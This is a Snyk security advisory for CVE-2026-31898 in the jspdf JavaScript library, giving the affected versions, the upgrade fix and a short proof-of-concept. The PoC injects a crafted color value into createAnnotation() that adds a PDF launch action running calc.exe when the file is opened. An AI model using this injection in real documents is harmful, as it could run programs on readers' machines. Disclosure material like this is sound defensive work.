Improper Encoding or Escaping of Output Affecting jspdf package, versions <4.2.1
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-JSPDF-15677842
- published18 Mar 2026
- disclosed17 Mar 2026
- creditsofianeelhor
Introduced: 17 Mar 2026
NewCVE-2026-31898 (opens in a new tab)How to fix?
Upgrade jspdf to version 4.2.1 or higher.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the createAnnotation() method, whose color parameter can be injected with script objects. An attacker can inject PDF objects as freetext annotations, which may be executed when a user opens the file.
PoC
import { jsPDF } from 'jspdf'
const doc = new jsPDF();
const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';
doc.createAnnotation({
type: 'freetext',
bounds: { x: 10, y: 10, w: 120, h: 20 },
contents: 'hello',
color: payload
});
doc.save('test.pdf');